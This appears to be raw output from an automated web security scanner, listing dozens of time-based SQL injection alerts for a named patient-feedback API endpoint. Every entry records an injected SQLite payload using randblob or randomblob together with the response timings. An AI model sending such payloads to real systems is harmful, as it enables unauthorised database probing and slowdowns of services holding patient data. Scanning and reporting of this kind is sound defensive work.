Attack	case randomblob(10000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,256] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,227] milliseconds, when the original unmodified query with value [212] took [789] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,256] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,227] milliseconds, when the original unmodified query with value [212] took [789] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,276] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [8,806] milliseconds, when the original unmodified query with value [710] took [2,065] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,276] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [8,806] milliseconds, when the original unmodified query with value [710] took [2,065] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,308] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,139] milliseconds, when the original unmodified query with value [185] took [2,771] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,308] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,139] milliseconds, when the original unmodified query with value [185] took [2,771] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,436] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,097] milliseconds, when the original unmodified query with value [268] took [778] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,436] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,097] milliseconds, when the original unmodified query with value [268] took [778] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,590] milliseconds,
Evidence	parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,116] milliseconds, when the original unmodified query with value [519] took [996] milliseconds.

Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,590] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,116] milliseconds, when the original unmodified query with value [519] took [996] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,735] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,647] milliseconds, when the original unmodified query with value [207] took [255] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,735] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,647] milliseconds, when the original unmodified query with value [207] took [255] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,863] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,675] milliseconds, when the original unmodified query with value [82] took [3,508] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,863] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,675] milliseconds, when the original unmodified query with value [82] took [3,508] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,913] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,122] milliseconds, when the original unmodified query with value [185] took [1,383] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [2,913] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,122] milliseconds, when the original unmodified query with value [185] took [1,383] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [260] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [315] milliseconds, when the original unmodified query with value [1560] took [1,227] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [260] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [315] milliseconds, when the original unmodified query with value [1560] took [1,227] milliseconds.

URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,120] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,983] milliseconds, when the original unmodified query with value [334] took [1,202] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [3,120] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,983] milliseconds, when the original unmodified query with value [334] took [1,202] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [310] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,093] milliseconds, when the original unmodified query with value [519] took [1,079] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [310] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [4,093] milliseconds, when the original unmodified query with value [519] took [1,079] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [588] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [729] milliseconds, when the original unmodified query with value [1560] took [1,145] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [588] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [729] milliseconds, when the original unmodified query with value [1560] took [1,145] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [769] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,775] milliseconds, when the original unmodified query with value [175] took [1,283] milliseconds.
Other	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [769] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the
Info	request to take [1,775] milliseconds, when the original unmodified query with value [175] took [1,283] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [780] milliseconds, when the original unmodified query with value [331] took [999] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [770] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [780] milliseconds, when the original unmodified query with value [331] took [999] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [777] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,021] milliseconds, when the original unmodified query with value [439] took [1,240] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [777] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,021] milliseconds, when the original unmodified query with value [439] took [1,240] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [778] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,155] milliseconds, when the original unmodified query with value [173] took [2,662] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [778] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,155] milliseconds, when the original unmodified query with value [173] took [2,662] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [780] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,449] milliseconds, when the original unmodified query with value [24] took [1,318] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [780] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [5,449] milliseconds, when the original unmodified query with value [24] took [1,318] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback

Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [805] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,333] milliseconds, when the original unmodified query with value [539] took [1,131] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [805] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,333] milliseconds, when the original unmodified query with value [539] took [1,131] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [816] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,227] milliseconds, when the original unmodified query with value [219] took [1,698] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [816] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,227] milliseconds, when the original unmodified query with value [219] took [1,698] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [896] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,752] milliseconds, when the original unmodified query with value [495] took [265] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [896] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,752] milliseconds, when the original unmodified query with value [495] took [265] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [982] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,135] milliseconds, when the original unmodified query with value [613] took [887] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(10000000) when not null then 1 else 1 end], which caused the request to take [982] milliseconds, parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [3,135] milliseconds, when the original unmodified query with value [613] took [887] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(10000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [991] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,855] milliseconds, when the original unmodified query with value [331] took [1,361] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(10000000) when not null then 1 else 1 end], which caused the request to take [991] milliseconds, parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [2,855] milliseconds, when the original unmodified query with value [331] took [1,361] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,004] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,018] milliseconds, when the original unmodified query with value [346] took [1,001] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,004] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,018] milliseconds, when the original unmodified query with value [346] took [1,001] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,115] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,182] milliseconds, when the original unmodified query with value [280] took [1,161] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,115] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,182] milliseconds, when the original unmodified query with value [280] took [1,161] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,205] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,131] milliseconds, when the original unmodified query with value [883] took [985] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,205] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,131] milliseconds, when the original unmodified query with value [883] took [985] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,213] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which

	caused the request to take [2,460] milliseconds, when the original unmodified query with value [478] took [1,939] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,213] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,460] milliseconds, when the original unmodified query with value [478] took [1,939] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,249] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,219] milliseconds, when the original unmodified query with value [1043] took [2,823] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,249] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,219] milliseconds, when the original unmodified query with value [1043] took [2,823] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,264] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,838] milliseconds, when the original unmodified query with value [259] took [3,935] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,264] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,838] milliseconds, when the original unmodified query with value [259] took [3,935] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,293] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,593] milliseconds, when the original unmodified query with value [824] took [1,379] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,293] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,593] milliseconds, when the original unmodified query with value [824] took [1,379] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,310] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [7,982] milliseconds, when the original unmodified query with value [805] took [2,068] milliseconds.
	The query time is controllable using parameter value [case randblob(100000000) when

Other Info	not null then 1 else 1 end], which caused the request to take [1,310] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [7,982] milliseconds, when the original unmodified query with value [805] took [2,068] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,334] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,591] milliseconds, when the original unmodified query with value [773] took [1,470] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,334] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,591] milliseconds, when the original unmodified query with value [773] took [1,470] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,374] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,940] milliseconds, when the original unmodified query with value [334] took [1,086] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,374] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,940] milliseconds, when the original unmodified query with value [334] took [1,086] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,420] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,185] milliseconds, when the original unmodified query with value [571] took [2,034] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,420] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,185] milliseconds, when the original unmodified query with value [571] took [2,034] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(1000000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,445] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,564] milliseconds, when the original unmodified query with value [648.1254901960784] took [849] milliseconds.
Other	The query time is controllable using parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,445] milliseconds,

Info	parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,564] milliseconds, when the original unmodified query with value [648.1254901960784] took [849] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,463] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,802] milliseconds, when the original unmodified query with value [54] took [4,945] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,463] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,802] milliseconds, when the original unmodified query with value [54] took [4,945] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,496] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,951] milliseconds, when the original unmodified query with value [473] took [505] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,496] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,951] milliseconds, when the original unmodified query with value [473] took [505] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,503] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,857] milliseconds, when the original unmodified query with value [671.0274509803921] took [1,817] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,503] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,857] milliseconds, when the original unmodified query with value [671.0274509803921] took [1,817] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(1000000000) when not null then 1 else 1 end
Evidence	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,823] milliseconds, when the original unmodified query with value [200] took [4,271] milliseconds.</p>
Other Info	<p>The query time is controllable using parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,542] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,823] milliseconds, when the original unmodified query with value [200] took [4,271] milliseconds.</p>
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST

Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,546] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,190] milliseconds, when the original unmodified query with value [771] took [874] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,546] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [3,190] milliseconds, when the original unmodified query with value [771] took [874] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,551] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,818] milliseconds, when the original unmodified query with value [85] took [3,888] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,551] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [5,818] milliseconds, when the original unmodified query with value [85] took [3,888] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,566] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,833] milliseconds, when the original unmodified query with value [783] took [1,824] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,566] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,833] milliseconds, when the original unmodified query with value [783] took [1,824] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,673] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,392] milliseconds, when the original unmodified query with value [302] took [4,868] milliseconds.
Other Info	The query time is controllable using parameter value [case randblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,673] milliseconds, parameter value [case randblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,392] milliseconds, when the original unmodified query with value [302] took [4,868] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randblob(100000000) when not null then 1 else 1 end

Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,726] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,313] milliseconds, when the original unmodified query with value [781] took [2,509] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,726] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,313] milliseconds, when the original unmodified query with value [781] took [2,509] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,745] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,662] milliseconds, when the original unmodified query with value [451] took [4,623] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,745] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,662] milliseconds, when the original unmodified query with value [451] took [4,623] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,761] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,815] milliseconds, when the original unmodified query with value [439] took [2,108] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,761] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [1,815] milliseconds, when the original unmodified query with value [439] took [2,108] milliseconds.
URL	https://api.velmeni.ai/api/patient/scan/save_doctor_feedback
Method	POST
Attack	case randomblob(100000000) when not null then 1 else 1 end
Evidence	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,906] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,737] milliseconds, when the original unmodified query with value [634.3843137254902] took [1,349] milliseconds.
Other Info	The query time is controllable using parameter value [case randomblob(100000000) when not null then 1 else 1 end], which caused the request to take [1,906] milliseconds, parameter value [case randomblob(1000000000) when not null then 1 else 1 end], which caused the request to take [2,737] milliseconds, when the original unmodified query with value [634.3843137254902] took [1,349] milliseconds.
